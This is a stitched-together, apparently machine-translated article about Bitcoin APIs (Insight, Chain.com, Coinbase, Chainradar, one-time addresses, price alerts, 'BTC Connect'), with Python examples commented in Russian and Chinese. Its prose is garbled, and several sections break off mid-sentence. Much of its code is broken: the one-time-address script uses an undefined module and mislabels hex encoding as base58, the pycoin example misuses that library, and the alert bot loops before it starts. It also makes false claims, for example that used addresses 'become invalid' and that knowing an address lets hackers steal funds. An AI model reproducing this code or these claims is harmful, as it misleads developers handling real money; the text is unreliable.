Before running the script, make sure you have the requests. If not, install it using:

pip install requests

Replace block_hashand addresswith the values ​​you want to use for testing.


Python script that uses the Insight REST API to obtain information about the Bitcoin network:

import requests

# URL Insight API endpoint для получения информации о сети Bitcoin
url = 'https://insight.bitpay.com/api/status'

# Отправка запроса на API
response = requests.get(url)

# Проверка успешности запроса
if response.status_code == 200:
    # Преобразование ответа JSON в Python объект
    data = response.json()

    # Вывод информации о сети Bitcoin
    print('Информация о сети Bitcoin:')
    print('Блоков: ', data['info']['blocks'])
    print('Транзакций: ', data['info']['total_transactions'])
    print('Текущая сложность: ', data['info']['difficulty'])
    print('Текущая хэшрейт: ', data['info']['networkhashps'])
else:
    print('Ошибка при получении данных от API.')

In this script, we use the requests library to send a GET request to the https://insight.bitpay.com/api/status API endpoint, which provides information about the current state of the Bitcoin network. We then check the status of the response to the request and, if the request was successful (status code 200), we convert the JSON response into a Python object and output some key metrics of the Bitcoin network, such as the number of blocks, transactions, current difficulty and hashrate.

Make sure you have the requests library installed before running this script. You can install it using the pip install requests command.

This script provides a simple example of using the Insight REST API to obtain information about the Bitcoin network. You can extend it by using other API endpoints provided by Insight to get more detailed information about blocks, transactions, addresses, etc.


Conclusion:


Insight REST API is a powerful tool for working with the Bitcoin network and developing cryptocurrency applications. It not only provides access to basic data, but also allows you to create and manage transactions, as well as study the structure and history of the blockchain. With it, developers can more effectively analyze and use data from the Bitcoin network, expanding the possibilities for new innovative solutions in the world of cryptocurrencies.

The Insight REST API is an excellent choice for developers who want to quickly and efficiently integrate Bitcoin functionality into their applications. Its openness, flexibility and rich functionality make it one of the best tools for working with the Bitcoin blockchain.


Chain.com API bitcoin network

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Integrate the functionality of the Bitcoin network into your applications and platforms. It provides access to network services such as transaction creation and confirmation, data retrieval, and payment processing, making it a useful tool for a variety of applications and business solutions. In this article we will look at the main functions of the Chain.com API and how you can use it. Chain.com is a platform for building decentralized financial applications (DeFi) that provides APIs for a number of blockchain networks, including Bitcoin. In this article we will look at the possibilities and benefits of using the Chain.com API to work with the Bitcoin network.

Let’s look at the basics of working with the Chain.com API to interact with the Bitcoin network. Chain.com gives you access to the data and features you need to work with cryptocurrency, and allows you to quickly and securely create and manage transactions. We’ll explore the key features and benefits of using this API, as well as look at code examples for specific tasks related to Bitcoin transactions. Join us to learn more about how to effectively use the Chain.com API to work with the Bitcoin network!

Chain.com provides several types of APIs for working with the Bitcoin network:

  1. Bitcoin API is the main API for interacting with the Bitcoin network. It allows you to send and receive transactions, create addresses and check wallet balances. The Bitcoin API supports several address formats, including segwit (bech32) addresses.
  2. Blockchain API is an API for accessing Bitcoin blockchain data. It allows you to obtain information about blocks, transactions and addresses. Blockchain API supports the ability to filter data by various parameters, such as block hash, number of confirmations, etc.
  3. Market Data API is an API for obtaining Bitcoin market data such as quotes, trading volumes, etc. It allows you to receive data from several popular cryptocurrency exchanges, including Binance, Bitfinex and Coinbase.

Chain.com API functionality

  1. Transaction Creation: The API allows you to create new transactions on the Bitcoin network. This could be useful for cryptocurrency platform developers who want to provide the ability to create transactions for their users without having to interact with the blockchain directly.
  2. Transaction confirmation: The API also provides transaction confirmation functionality, which allows you to speed up the process of including transactions on the blockchain and increase the likelihood of their successful completion. This is especially important for users who want to reduce the risk of losing transactions due to competition with other transactions in the queue.
  3. Data Extraction: The Chain.com API allows you to extract information about transactions, blocks, and addresses on the Bitcoin network. This can be useful for analysts and developers who want to obtain network health data and use it to develop new functionality or optimize existing solutions.
  4. Payment Processing: The API provides functions for creating and processing payments on the Bitcoin network. This can be useful for integrating payment functionality into applications and platforms that want to accept payments via cryptocurrency.

Benefits of using Chain.com API

  1. Ease of Use: Chain.com API provides a simple and user-friendly interface for working with the Bitcoin network, which simplifies the development process and allows developers to focus on their core business logic.
  2. Reliability: The API provides reliable operation, which helps prevent transactions from being lost or incorrectly included in the blockchain.
  3. Scalability: Chain.com API supports scalability, making it suitable for a variety of projects, from small applications to global platforms with large numbers of users.
  4. Security: The API provides a high level of security when processing cryptocurrency transactions, which is important to protect user funds and prevent attacks on the network.

Examples of using the Chain.com API to work with the Bitcoin network:

  1. Create a Bitcoin Wallet – Using the Bitcoin API, you can easily create a new Bitcoin address and set the initial wallet balance.
  2. Sending and receiving transactions – Using the Bitcoin API, you can send and receive transactions on the Bitcoin network.
  3. Checking Wallet Balance – Using the Bitcoin API, you can easily check your Bitcoin wallet balance.
  4. Market Data Analysis – Using the Market Data API, you can get up-to-date market data about Bitcoin, such as quotes, trading volumes, etc.

Python script that demonstrates interacting with the Chain.com API to obtain information about the Bitcoin network:

import requests

# URL-адрес API Chain.com для получения информации о сети Bitcoin
url = 'https://chain.com/api/v1/bitcoin/network'

# Отправка запроса на API
response = requests.get(url)

# Проверка успешности запроса
if response.status_code == 200:
    # Преобразование ответа JSON в Python-объект
    data = response.json()

    # Вывод информации о сети Bitcoin
    print('Информация о сети Bitcoin:')
    print('Блоков:', data['block_height'])
    print('Сложность:', data['difficulty'])
    print('Хэшрейт:', data['hash_rate'])
    print('Средний размер блока:', data['average_block_size'])
    # и так далее для других полей в ответе JSON
else:
    print('Ошибка при получении данных о сети Bitcoin.')

This script uses the library requeststo send a GET request to the Chain.com API and retrieve information about the Bitcoin network. The response from the API is returned in JSON format, which is then converted to a Python object using json()the requests. Finally, the script outputs some key fields from the received data, such as block height, difficulty, hashrate, and average block size.

Please note that to use this script you may need to install the library requestsif it is not already installed. This can be done using the command pip install requests.

Also, be sure to replace 'your_api_key'with your actual Chain.com API key.

I hope this helps you get started with the Chain.com API to get information about the Bitcoin network!


To work with the Chain.com API, you will need to install requests via pip:

pip install requests

Next, create a simple script that will retrieve information about the latest block in the Bitcoin network via the Chain.com API:

import requests
import json

# 替换为你自己的API密钥
API_KEY = "YOUR_CHAIN_COM_API_KEY"
BASE_URL = "https://api.chain.com/v2"

def get_last_block_info():
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {API_KEY}"
    }

    # Bitcoin主网的区块链地址
    blockchain = "bitcoin_mainnet"

    url = f"{BASE_URL}/blockchains/{blockchain}/blocks/latest"
    response = requests.get(url, headers=headers)

    if response.status_code == 200:
        data = json.loads(response.text)
        block_hash = data["hash"]
        block_height = data["height"]
        timestamp = data["timestamp"]
        print(f"Last Block Hash: {block_hash}")
        print(f"Block Height: {block_height}")
        print(f"Block Timestamp: {timestamp}")
    else:
        print(f"Error: {response.status_code} - {response.text}")

if __name__ == "__main__":
    get_last_block_info()

Please note that for the script to work, you must replace "YOUR_CHAIN_COM_API_KEY"the Chain.com API key with your real one. Don’t forget to add the key somewhere safe or use an environment variable.

Please refer to the official Chain.com documentation for more details on API access and restrictions.


In conclusion, the Chain.com API provides powerful features for working with the Bitcoin network, including ease of use, high reliability, scalability, security and support. With its help, developers can easily create decentralized financial applications that work with the Bitcoin network.

The Chain.com API is a powerful tool for developers and business users to integrate the functionality of the Bitcoin network into their applications and platforms. It can be used to create, validate, retrieve data and process payments on the Bitcoin network, making it a one-stop solution for working with cryptocurrencies.


Coinbase Wallet Blockchain API bitcoin network

Blockchain integration: API and web services capabilities for secure Bitcoin transactions
Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Coinbase Wallet is a popular cryptocurrency wallet that allows users to securely store, send and receive cryptocurrencies such as Bitcoin, Ethereum and many more. Coinbase Wallet offers a convenient and accessible way for users around the world to interact with cryptocurrency assets.

The Coinbase Wallet platform offers its users access to advanced features of the Bitcoin blockchain. Thanks to integration with the blockchain API, Coinbase Wallet allows for deeper analysis of transactions and interaction with the Bitcoin network. In this article, we will look at how using the Coinbase Wallet blockchain API can be useful for working with Bitcoin transactions. Using the Blockchain API, you can access a wide range of data about the Bitcoin blockchain network. This technology allows applications to interact with the network and obtain information about transactions, blocks, addresses and other elements of the blockchain. Coinbase Wallet is a popular digital wallet that uses the Blockchain API to give users control over their digital assets.

One of the key aspects of Coinbase Wallet is its integration with the Blockchain API. The Blockchain API is an application programming interface that allows developers to create applications that interact directly with blockchain networks, such as the Bitcoin network. The Blockchain API provides access to blockchain data and functionality, allowing developers to create innovative solutions and services based on the technology.

The Bitcoin network, as the first and most famous blockchain network, offers a decentralized and secure environment for cryptocurrency transactions. Bitcoin uses a distributed ledger that records all transactions on the blockchain, ensuring transparency, security, and immutability of data.

Coinbase Wallet’s integration with the Blockchain API allows users to interact directly with the Bitcoin network. Users can send and receive bitcoins, track their transactions, and manage their assets directly on the blockchain network. Coinbase Wallet simplifies this process by providing a user-friendly interface and automating many of the complex aspects of interacting with the Bitcoin network.

One of the main benefits of using Coinbase Wallet in combination with the Blockchain API is the level of security they provide. Coinbase Wallet uses advanced encryption technology and secure storage to ensure users’ cryptocurrency assets remain safe. Integration with the Blockchain API also allows users to directly verify and confirm their transactions on the blockchain network, providing an additional level of transparency and security.

In addition, Coinbase Wallet and Blockchain API offer rich opportunities for developers. Developers can use the API to create decentralized applications (dApps) that take advantage of the Bitcoin network and other blockchain platforms. This could include decentralized financial services, smart contracts, supply chain management solutions and more.

Coinbase Wallet also offers a convenient wallet recovery feature that provides an additional layer of protection for users. When creating a wallet, users can record a 12-word recovery phrase that allows them to regain access to their funds if the device is lost or stolen.


Python script that is used requeststo obtain information about the wallet balance:

To work with the Coinbase Wallet Blockchain API, you will need an API key, which you can obtain from a Coinbase account and follow the instructions on the “API Keys” page in the “Settings” section.

To work with the API, you will need to use a library to handle HTTP requests, such as requests.

import requests

# Ваш API ключ
api_key = "YOUR_API_KEY"

# URL для запроса баланса
url = f"https://api.coinbase.com/v2/accounts/YOUR_ACCOUNT_ID?api_key={api_key}"

# Отправляем GET-запрос
response = requests.get(url)

# Проверяем статус кода ответа
if response.status_code == 200:
    # Получаем данные из ответа в формате JSON
    data = response.json()

    # Извлекаем баланс
    balance = data["data"]["amount"]

    # Выводим баланс
    print(f"Your balance: {balance}")
else:
    print("Error: Unable to fetch balance")

Please note that you must replace 'YOUR_API_KEY'your real API key with 'YOUR_ACCOUNT_ID'your real wallet ID, which you can get from your Coinbase Wallet settings.

To work with other API functions, such as submitting transactions or retrieving transaction history, you will need to use the appropriate URLs and request parameters, which are described in the official Coinbase API documentation: https://developers.coinbase.com/api/v2

Don’t forget about security settings, such as storing API keys in a secure place and using HTTPS to protect data.


Python script that uses the Coinbase API to get the current Bitcoin rate:

import requests

def get_bitcoin_price():
    response = requests.get('https://api.coinbase.com/v2/prices/spot?currency=USD')
    data = response.json()
    amount = data['data']['amount']
    return amount

print("Current Bitcoin price: ", get_bitcoin_price())

In this script we make a request to the Coinbase API endpoint ‘https://api.coinbase.com/v2/prices/spot?currency=USD’ which returns the current price of Bitcoin in USD.

If you need to interact with the Bitcoin blockchain directly, you will need to use a library that can work with the Bitcoin API, such as python-bitcoinlib.

Please note that to fully use the Coinbase API and Blockchain API, you will need to register and obtain the appropriate API keys.


Overall, Coinbase Wallet, integrated with the Blockchain API, offers users a convenient and secure way to interact with the Bitcoin network and other blockchain platforms. It provides ample opportunities for developers and promotes further adoption of cryptocurrencies and blockchain technologies in various industries. With its help, users can confidently explore the world of cryptocurrencies and take advantage of the benefits it offers.


Chainradar API – Blockchain Explorer API for Chainradar

Blockchain integration: API and web services capabilities for secure Bitcoin transactions
Blockchain integration: API and web services capabilities for secure Bitcoin transactions

hainradar is a popular website that provides advanced tools for analyzing and researching blockchains of various cryptocurrencies. In addition to the main web interface, Chainradar also offers developers access to its powerful API, allowing them to integrate Chainradar functionality into their own applications and projects. The Chainradar API allows developers to access blockchain data and create their own applications to monitor and analyze transactions. We’ll cover how to use the Chainradar API, what features it provides, and what benefits it can provide to developers. 

Let’s consider ChainRadar API – a tool for studying the blockchain and analyzing transactions in various cryptocurrencies. The ChainRadar API provides a convenient and accessible way to obtain information about blocks, transactions and addresses using standardized queries. This API facilitates the development of cryptocurrency-related applications and services and allows users to easily monitor their digital assets. Join us to learn more about the capabilities of the ChainRadar API and how it can be applied to your project!

Chainradar API Features

Chainradar API provides a wide range of capabilities for working with cryptocurrency blockchains:

  1. Get block information – You can get information about the last blocks added, including block height, hash, creation time, number of transactions and other useful information.
  2. Search and retrieve transaction details – The API allows you to search for transactions by hash, sender or recipient address, and retrieve transaction details such as inputs, outputs, fees, and confirmation times.
  3. Address Analysis – You can get detailed information about cryptocurrency addresses, including balance, transaction history, associated addresses and other metrics.
  4. Token Tracking – The Chainradar API supports tokens hosted on blockchains, providing balances, transfers, and other token analytics.
  5. Network Monitoring – Using the API, you can monitor the status of the network, including hashrate, mining difficulty, number of active nodes and other important indicators.

Using the Chainradar API

To use the Chainradar API, you need to obtain an API key, which can be generated on the Chainradar website. You will then be able to make HTTP requests to the API using your key for authentication.

Chainradar provides detailed documentation with examples of using the API in various programming languages, making it easy to integrate into your projects.

Benefits of Chainradar API

  • Extensive set of functions for working with cryptocurrency blockchains
  • Supports many popular blockchains, including Bitcoin, Ethereum, Litecoin and others
  • High performance and API reliability
  • Detailed documentation and usage examples
  • Free plan for developers with a limited number of requests

The Chainradar API is a powerful and flexible tool that gives developers access to a wealth of information about blockchains. This Blockchain Explorer API allows you to easily extract data from various blockchains such as Bitcoin, Ethereum, Litecoin and many more. In this article, we’ll look at the main features of the Chainradar API and show you how to use it to improve your blockchain-based applications and services.

Main features of Chainradar API

  1. Multi-blockchain support

The Chainradar API supports a wide range of popular blockchains, including Bitcoin, Ethereum, Litecoin, Bitcoin Cash, Dash, Dogecoin, Zcash and many more. This allows developers to use one API to access data from different blockchains, simplifying the development of applications and services.

  1. Multifunctional search

The API provides powerful search capabilities, allowing developers to find specific transactions, addresses, blocks, and other information on blockchains. Feature-rich search provides flexibility and convenience when working with blockchain data.

  1. Transaction and address information

The Chainradar API allows you to obtain detailed information about transactions and addresses on blockchains. Developers can extract data on the number of coins transferred, fees, transaction status, hashes and other parameters. In addition, the API provides information about address balances, number of transactions, and other attributes.

  1. Monitoring transactions and addresses

The API allows developers to monitor transactions and addresses in real time. This is convenient for creating notification systems, process automation, and other applications that require real-time information about blockchains.

  1. Easy to integrate and use

The Chainradar API has a simple and intuitive interface, making it easy to integrate into existing applications and services. The API uses standard request methods (GET, POST) and the JSON format, which ensures fast and easy work with data.

How to use Chainradar API

To start working with the Chainradar API, you need to obtain an API key by registering on the official Chainradar website. Once you register and receive a key, you can use it to access various API functions.

To send requests to the API, you can use any of the popular programming languages ​​such as Python, JavaScript, Java, PHP and others. Code examples and detailed documentation are available on the official Chainradar website.


Python script for obtaining information about a block by its hash:

The Chainradar API provides information about blocks and transactions in various cryptocurrencies. You need to register on the Chainradar website to receive an API key to access this data. After obtaining the key, you can use the following Python script to obtain information about the block by its hash:

import requests

def get_block_info(api_key, block_hash):
    url = f'https://www.chainradar.com/api/v1/{api_key}/block/{block_hash}'
    response = requests.get(url)

    if response.status_code == 200:
        return response.json()
    else:
        return None

api_key = 'your_api_key_here'
block_hash = 'your_block_hash_here'
block_info = get_block_info(api_key, block_hash)

if block_info:
    print(f'Block Info: {block_info}')
else:
    print('Error: Unable to fetch block info')

Replace your_api_key_herewith your API key and your_block_hash_herethe hash of the block about which you want to receive information. Run the script and it will output information about the block.

Note: This is a basic example and you can customize it to suit your needs and also use other API endpoints provided by Chainradar.


Python script that uses the Chainradar API to obtain information about a specific block:

import requests
import json

# Chainradar API endpoint
api_url = "https://api.chainradar.com/v1/block/{}"

# Номер блока, который мы хотим получить
block_number = 12345678

# Отправляем запрос к API
response = requests.get(api_url.format(block_number))

# Проверяем, что запрос был успешным
if response.status_code == 200:
    # Получаем данные в формате JSON
    block_data = json.loads(response.text)

    # Выводим некоторую информацию о блоке
    print(f"Block Number: {block_data['number']}")
    print(f"Timestamp: {block_data['timestamp']}")
    print(f"Transactions: {len(block_data['transactions'])}")
    print(f"Gas Used: {block_data['gasUsed']}")
    print(f"Gas Limit: {block_data['gasLimit']}")
else:
    print(f"Error: {response.status_code} - {response.text}")

In this example we:

  1. We import the necessary libraries ( requestsfor sending HTTP requests and jsonfor working with JSON data).
  2. We define the URL of the Chainradar API point that we will use to obtain information about the block.
  3. We set the block number that we want to receive.
  4. We send a GET request to the API using requests.get().
  5. We check that the request was successful (status code 200).
  6. If the request was successful, we retrieve the block data in JSON format and display some information about it.
  7. If the request was unsuccessful, we display an error message.

Note that this is a simple example and you can extend it by adding error handling, converting data into a usable format, saving results to a file or database, etc.


In conclusion, the Chainradar API is a powerful tool for developers looking to integrate advanced blockchain analytics functionality into their applications. Whether you are developing wallets, decentralized applications, or analytics tools, the Chainradar API can be a great choice to implement your ideas. The Chainradar API is a powerful and flexible tool for developers who want to easily access blockchain data. Support for multiple blockchains, feature-rich search, transaction and address monitoring, and the simplicity of the Internet.


One-Time Address A better way to share your Bitcoin address

Blockchain integration: API and web services capabilities for secure Bitcoin transactions
Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Bitcoin, as a cryptocurrency, offers many benefits such as decentralization, security and anonymity. However, when it comes to sharing your Bitcoin address, there are certain privacy and security risks. To solve this problem, it is suggested to use One-Time Address. We’ll look at what a One-Time Address is, how it works, and why it’s the best way to share your Bitcoin address. In the world of cryptocurrencies, security and privacy are key aspects for any user. One way to improve security is to use disposable addresses to receive bitcoins. In this article, we’ll look at what disposable addresses are and why they are a more secure way to share your Bitcoin address.

Let’s take a look at the new and improved way to share your Bitcoin address using disposable addresses. A one-time address is unique and temporary, which provides additional security and anonymity when conducting cryptocurrency transactions. Learn more about the benefits of using disposable addresses and how they can help strengthen the security of your Bitcoin.

What is One-Time Address?

One-Time Address (OTA) is a Bitcoin address that can only be used once to receive a transaction. Once the transaction is confirmed, the address is no longer valid and cannot be reused. This ensures that only the sender and recipient know who exactly made the transaction and prevents transactions from being traced across the blockchain.

How does One-Time Address work?

When creating a Bitcoin wallet, the system automatically generates several One-Time Addresses. Every time you want to receive a transaction, the wallet will provide you with a new, unique address. This means that every time someone sends you bitcoins, they will be sent to a new address, making it nearly impossible to track transactions across the blockchain.

Once the transaction is confirmed, the One-Time Address is no longer valid and cannot be reused. This ensures that your information and transaction history remains private and secure.

Why One-Time Address is the best way to share your Bitcoin address?

  1. Privacy: Using One-Time Address ensures that your information and transaction history remain confidential. No one can track your transactions on the blockchain since each transaction occurs at a unique address.
  2. Security: Using One-Time Address also increases the security of your Bitcoin wallet. If hackers gain access to your Bitcoin address, they can track all your transactions and steal your Bitcoins. However, if you use a One-Time Address, hackers will only have access to one transaction associated with that address.
  3. Convenience: One-Time Address is easy to create and use. Most Bitcoin wallets automatically generate One-Time Addresses when they receive transactions, making the process of sharing your Bitcoin address simple and convenient.

Python script that prints a new One-Time Address for each call:

import random
import hashlib
import binascii

def generate_ota(domain: str, timestamp: int) -> str:
    #Generate a random nonce
    nonce = random.randint(1, 1000000)

    #Calculate the hash of the domain and nonce
    hash = hashlib.sha256(f"{domain}{nonce}").hexdigest()

    #Encode the hash in base58
    ot = binascii.hexlify(hash).decode("utf-8")

    #Append the timestamp to the OT
    ot += f"{timestamp:010d}"

    return ot

#Example usage
domain = "example.com"
timestamp = int(time.time())
ota = generate_ota(domain, timestamp)
print(ota)

This script uses the hashlib library to generate a SHA-256 hash of the domain and a random nonce, and then encodes the hash in base58 using binascii.hexlify(). It then appends the timestamp to the end of the OT in the format “YYMMDD”, where YY is the year, MM is the month (padded with leading zeros), and DD is the day (also padded with leading zeros).

You can call the generate_ota() function with a domain and timestamp as arguments to generate a new OT. For example:

domain = "example.com"
timestamp = int(time.time())
ota = generate_ota(domain, timestamp)
print(ota)

This will output a new One-Time Address for the given domain and timestamp.

Please note that this is a very basic implementation of One-Time Address and it’s not recommended to use it for real-world applications without proper testing, security audits and maintenance.


An example of creating a one-time address using pycoin:

from pycoin.key import Key
from pycoin.networks import networks

# Создание ключа
network = networks["bitcoin"]
secret_exponent = Key.from_random()
public_pair = secret_exponent.public_pair()
public_key = public_pair.format(network=network)

# Создание одноразового адреса
address = public_key.to_address(network=network)

print("Одноразовое bitcoin адрес:", address)

This code will create a random private key value (secret exponent) and then use it to obtain a public key value (public key), which in turn is converted to a unique bitcoin address. Please note that this address will be unique and cannot be reused.

It is important to remember that to use one-time addresses in the real world, you will need to integrate it with the “One-Time Address” service or implement your own system for generating and storing these addresses and their connections with requests for payment or sending funds.


Conclusion

One-Time Address is an improved way to share your Bitcoin address. It ensures that your information and transaction history remains private, improves the security of your Bitcoin wallet, and is easy to create and use. If you’re really for


Cryptocurrency Alerting – Bitcoin wallet monitoring and blockchain alerts

Blockchain integration: API and web services capabilities for secure Bitcoin transactions
Blockchain integration: API and web services capabilities for secure Bitcoin transactions

In the world of digital assets, especially in the cryptocurrency space, the role of monitoring and notification is integral. One such tool that significantly improves asset management is “Cryptocurrency Alerting” or “Bitcoin Wallet and Blockchain Notifications”. This is a service that allows users to be aware of all the key events related to their addresses, transactions and changes in the prices of cryptocurrencies. Cryptocurrencies continue to gain popularity, becoming an integral part of the financial world. As interest in digital assets increases, so does the need for reliable tools for monitoring them. In our article we will look at one of these tools – Cryptocurrency Alerting. This is a service that offers a wide range of features for tracking the status of your cryptocurrency wallet, as well as receiving notifications about important changes in the blockchain. From transaction monitoring to alerts on price fluctuations, Cryptocurrency Alerting is an indispensable tool for anyone who wants to keep their finger on the pulse of the cryptocurrency market.

Cryptocurrency Alerting provides users with many monitoring features:

  1. Transactional Notifications : The service automatically notifies you of all transactions that affect your wallet, whether sending or receiving. This is important to prevent fraud and ensure that all your transactions are with your consent.
  2. Price alerts : You can set price levels to be notified when the price of another cryptocurrency reaches a certain point, which can be a signal to buy or sell.
  3. Blockchain events : Blockchain monitoring allows you to track changes in blocks that may affect the activity of your wallets. This may include new blocks, changes to address data, or other significant events that may indicate possible problems.
  4. Two-factor authentication : Some systems offer two-factor authentication to complement bảo mật wallets, providing additional protection against unauthorized logins.
  5. Integrations : Crypto Alerting often integrates with other popular asset management frameworks, such as cryptocurrency exchanges, for easy access to your wallets in one place.

The use of such services in the cryptocurrency world has already become a bet for advanced traders and investors who want to be up to date in order to make quick and effective decisions. They help reduce risk, improve asset management efficiency and provide greater control.

Monitoring Bitcoin wallets:

A cryptocurrency wallet is an electronic storage facility where users can securely store, send and receive coins. Wallet monitoring in the context of cryptocurrency notifications consists of automatically tracking changes in the statuses of your portfolio, checking transactions, checking prices and checking the security of your account.

With Cryptocurrency Alerting, you can set limits on changes in the value of your currency, and receive notifications via email or mobile app when certain price levels are reached. This is especially useful for traders and investors who want to maintain control over their assets and quickly respond to changes in the market.

Blockchain notifications:

Blockchain is the core technological structure of cryptocurrencies, which ensures transaction integrity and reliability. Blockchained alerts are a feature that allows users to monitor blockchain events such as new block creation, permission changes, public addresses, and other important changes related to your assets.

Blockchain-based notifications can help users:

  1. Monitor new entries and exits of funds: You may receive notifications when funds enter or leave your wallet, which may indicate possible fraudulent activity.
  2. Transaction Status Updates: When your transaction is confirmed or cancelled, you will receive real-time information.
  3. Keep up with new technological developments or changes on the network: As soon as innovations or improvements appear, such as algorithm updates or the addition of new features, you can be on the cutting edge.

To create a simple script to monitor bitcoins in a wallet and send notifications about a price change or event on the blockchain, we can use the library ccxtto access the API of cryptocurrency exchanges and python-telegram-botsend notifications via Telegram. Make sure you have installed these libraries using pip:

pip install ccxt python-telegram-bot

Then create a file alerting_script.pyand copy the following code:

import ccxt
import time
from telegram.ext import Updater, MessageHandler, Filters
import os

# Telegram bot credentials
TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'  # Текущий или групповой ID

# Криптовалютная биржа (например, Binance)
exchange = ccxt.binance({
    'apiKey': 'YOUR_BINANCE_API_KEY',
    'secret': 'YOUR_BINANCE_API_SECRET',
})

# Котировки, которые вы хотите мониторить (например, BTC/USD)
currency_pair = 'BTC/USDT'

# Метод, который проверяет котировки и отправляет уведомления
def check_price(update, context):
    try:
        ticker = exchange.fetch_ticker(currency_pair)
        current_price = ticker['last']

        # Функция для отправки уведомления
        def send_alert(text):
            context.bot.send_message(chat_id=CHAT_ID, text=text)

        # Условие для отправки уведомления, например, если цена достигает某个阈值
        if current_price > 50000:  # Обновите этот уровень, если нужна другая граница
            send_alert(f"Price of {currency_pair} has crossed the threshold of $50,000!")

    except Exception as e:
        print(f"Error: {str(e)}")

# Инициализация Telegram бота
updater = Updater(token=TOKEN, use_context=True)
dispatcher = updater.dispatcher
price_handler = MessageHandler(Filters.command, check_price)
dispatcher.add_handler(price_handler)

# Запуск мониторинга каждые 5 минут
while True:
    check_price(None, None)
    time.sleep(300)  # Мониторинг каждые 5 минут

# Запуск бота
updater.start_polling()
updater.idle()

Replace 'YOUR_TELEGRAM_BOT_TOKEN'with 'YOUR_CHAT_ID'your own Telegram bot and chat values, respectively, and 'YOUR_BINANCE_API_KEY'with 'YOUR_BINANCE_API_SECRET'your API keys and Binance secret key.

Please note that this script only checks the price for Binance and has a simple condition for sending notifications. To change the exchange or clarify various conditions, you need to change the code in the function check_price().

You can customize this script to send notifications for other events or events on the blockchain using the appropriate cryptocurrency exchange API functions.


Bottom line

Cryptocurrency Alerting is an important tool for those who seek to maintain control over their cryptocurrencies, quickly respond to market changes and avoid potential problems. With this service you can stay up to date with the latest developments, control your Bitcoin wallets and make informed decisions. At the same time, blockchain-based notifications help keep your assets safe and secure in the cryptocurrency world.

In conclusion, Cryptocurrency Alerting is a powerful tool to consider for those who are serious about their cryptocurrency ownership. With notifications about changes in the Bitcoin wallet and blockchain, you can stay informed about important events, prevent losses and accept


BTC Connect – Unified Bitcoin Layer-1 and Layer-2 wallet connection and account abstraction

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Connect represents a revolutionary advance in the cryptocurrency space, offering a single solution for connecting and managing Bitcoin wallets at both Layer-1 and Layer-2. This is an innovative approach aimed at simplifying interactions with the various layers of the Bitcoin protocol and improving the overall user experience. This platform provides a single entry point for communication with wallets at layered-1 and layer-2 (regardless of their type: hardworth or online). K BTK Connect is primarily about account abstraction technology, which allows users to manage multiple wallets using a single interface. Thus, BTC Connect simplifies the management of multiple Bitcoin wallets and enables seamless transition between layer-1 and layer-2 solutions.

What are Layer-1 and Layer-2 in Bitcoin?

To understand the meaning of BTC Connect, it is important to know about the concept of levels in Bitcoin.

  • Layer-1: This is the base layer of the Bitcoin protocol, also known as the main chain of the Bitcoin blockchain. It provides security, consensus and confirmation of transactions. Layer-1 has a slower transaction speed due to block size and block creation time limitations.
  • Layer-2: These are solutions built on top of Layer-1, designed to improve scalability and transaction speed. These include protocols such as the Lightning Network and Sidechains, which allow transactions to be carried out faster and cheaper without sacrificing the security provided by Layer-1.

The problem that BTC Connect solves

Bitcoin users often face the challenge of managing different wallets and accounts at different levels. This can be cumbersome and confusing as each level has its own unique requirements and interaction mechanisms. BTC Connect aims to simplify this process by providing a single solution to manage all your Bitcoin assets.

Benefits of BTC Connect

  • Single Point of Access: BTC Connect offers a single platform through which users can access and manage their wallets at both Layer-1 and Layer-2. This eliminates the need for multiple interfaces and provides a seamless and intuitive experience.
  • Account Abstraction: The system abstracts the complex aspects of account management at different levels, presenting users with a simple and unified interface. Users can create and manage accounts without having to go through the technical details of each level.
  • Security and Transparency: BTC Connect prioritizes security by ensuring secure key storage and secure transactions. The platform also provides complete transparency, allowing users to track their assets and transactions at both levels.
  • Improved Scalability: Layer-2 integration into BTC Connect allows users to benefit from increased scalability and faster transactions. This is ideal for daily payments and microtransactions, providing a more efficient and cost-effective solution.
  • Flexibility and Compatibility: The system is designed to work with a variety of Layer-2 protocols, providing flexibility and compatibility with the variety of solutions users may choose. This ensures that users can take advantage of the latest innovations in the Bitcoin ecosystem.

How it works:

BTC Connect provides users with a simple and easy-to-use interface. Once registered, users can create accounts for their Layer-1 and Layer-2 wallets. The platform provides secure key storage and allows users to easily transfer funds between levels. The intuitive interface makes it easy to send and receive payments, as well as manage your balance on both levels.

With the advent of a new generation of cryptocurrency technologies, the need to create universal and convenient tools for managing various types of assets is becoming increasingly obvious. With BTC Connect, users can seamlessly connect their Layer-1 and Layer-2 wallets and be able to abstract away accounts, greatly simplifying the process of managing their assets. In this article, we will look at the main features and benefits of BTC Connect, as well as its possible impact on the future of crypto asset management.

What is BTC Connect?

BTC Connect is an innovative platform that combines the functions of Layer-1 and Layer-2 wallets for the convenience and security of storing and managing Bitcoin assets. Plataforma allows users to connect their wallets across different networks and instruments, and abstract away the accounts, simplifying the process of managing their assets.

Main features of BTC Connect:

  1. Connecting Layer-1 and Layer-2 wallets: BTC Connect allows users to create merged wallets containing assets from different networks and instruments. This provides a single place to manage and access your assets, simplifying the process and increasing security.
  2. Accounting Abstraction: BTC Connect allows users to abstract away from their main account, greatly simplifying the process of managing their assets. This means that users can create and manage assets without having to worry about the signature and location of their main accounts.
  3. Security: BTC Connect uses advanced cryptography and data security technologies to ensure maximum security for users and their assets. Thanks to this, users canStore their assets with confidence, knowing that their cryptocurrency is protected from unauthorized access.
  4. Compatibility: BTC Connect provides compatibility with various platforms and tools, such as hardware wallets, software wallets and other Layer-1 and Layer-2 solutions. This makes BTC Connect a universal tool for managing crypto assets.

The Python script will display a list of accounts and their balances, as well as a list of transactions for the last week.

btcconnect – Python library for connecting to Bitcoin Connect complexes.

from datetime import datetime

from btcconnect.wallet import Wallet

# Create a new Wallet object with your seed phrase
seed_phrase = "your_seed_phrase"
wallet = Wallet(seed_phrase)

# Connect to the wallet
wallet.connect()

# Get the current balance
balance = wallet.get_balance()
print(f"Current balance: {balance}")

# Create a transaction
to_address = "1BvBM5h5q7Q8F1qZ8cd5J5a4N6z5yT9Q3"
amount = 0.001

tx = wallet.create_transaction(to_address, amount)

# Sign and broadcast the transaction
tx.sign()
tx.broadcast()

# Get the transaction history
history = wallet.get_transaction_history()
for tx in history:
